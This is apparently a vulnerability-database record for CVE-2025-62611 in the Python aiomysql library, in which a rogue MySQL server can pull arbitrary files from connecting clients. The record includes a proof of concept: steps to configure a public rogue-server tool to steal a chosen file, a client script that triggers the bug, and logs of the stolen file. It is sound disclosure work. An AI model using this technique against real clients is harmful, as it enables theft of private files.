{"id":"CVE-2025-62611","aliases":["GHSA-r397-ff8c-wv2g","PYSEC-2026-1110"],"url":"https://o3.security/vulnerability/CVE-2025-62611","summary":"aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server","details":"### Summary\nThe client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.\n\n### Details\nIt is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.\n\n### PoC\nFirst, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server\n\n1. Create a file to be stolen by the rogue server: `echo \"gotcha\" > /tmp/my_secret_file.txt`\n2. Clone the repo: `git clone git@github.com:rmb122/rogue_mysql_server.git && cd rogue_mysql_server`\n3. Build the server: `make rogue_mysql_server`\n4. Generate a sample config: `rogue_mysql_server -generate`\n5. In `config.yaml` change `file_list` to `[\"/tmp/my_secret_file.txt\"]`\n6. Run the server: `./rogue_mysql_server -config config.yaml`\n\nNext, the vulnerability can be seen in action with the following script, which can be run in a second terminal:\n```python3\nimport asyncio\n\nimport aiomysql\n\n\nloop = asyncio.get_event_loop()\n\n\nasync def test_example():\n    conn = await aiomysql.connect(\n        host=\"127.0.0.1\",\n        port=3306,\n        user=\"root\",\n        password=\"\",\n        db=\"mysql\",\n        loop=loop,\n        local_infile=0, # note that we explicitly forbid local_infile\n    )\n\n    cursor = await conn.cursor()\n    await cursor.execute(\"SELECT 1\")\n    print(cursor.description)\n    r = await cursor.fetchall()\n    print(r)\n    await cursor.close()\n    conn.close()\n\n\nloop.run_until_complete(test_example())\n```\n\nThe rogue server will output log messages indicating successful file read and save the contents in the `loot/` directory\n```\nlevel=info msg=\"Client from addr [xxx], ID [1] try to query [select 1]\"\nlevel=info msg=\"Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]\"\nlevel=info msg=\"Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]\"\nlevel=info msg=\"Client leaved, Addr [xxx], ID [1]\"\n```\n\n### Impact\nThis vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.\n\n### Fix suggestion\nCan be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267","published":"2025-10-22T19:29:26.708Z","modified":"2026-08-12T03:51:34.555199057Z","cvss":null,"epss":{"score":0.00365,"percentile":0.29981,"asOf":"2026-09-15"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"aiomysql","fixedVersion":"0.3.0"}],"fix":{"url":"https://github.com/aio-libs/aiomysql/commit/32c4520dae3711367ded74a4726dcb8bb8919538","label":"aio-libs/aiomysql@32c4520"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/62xxx/CVE-2025-62611.json"},{"type":"ADVISORY","url":"https://github.com/aio-libs/aiomysql/security/advisories/GHSA-r397-ff8c-wv2g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62611"},{"type":"FIX","url":"https://github.com/aio-libs/aiomysql/commit/32c4520dae3711367ded74a4726dcb8bb8919538"},{"type":"FIX","url":"https://github.com/aio-libs/aiomysql/pull/1044"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiomysql"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:34.555199057Z"}}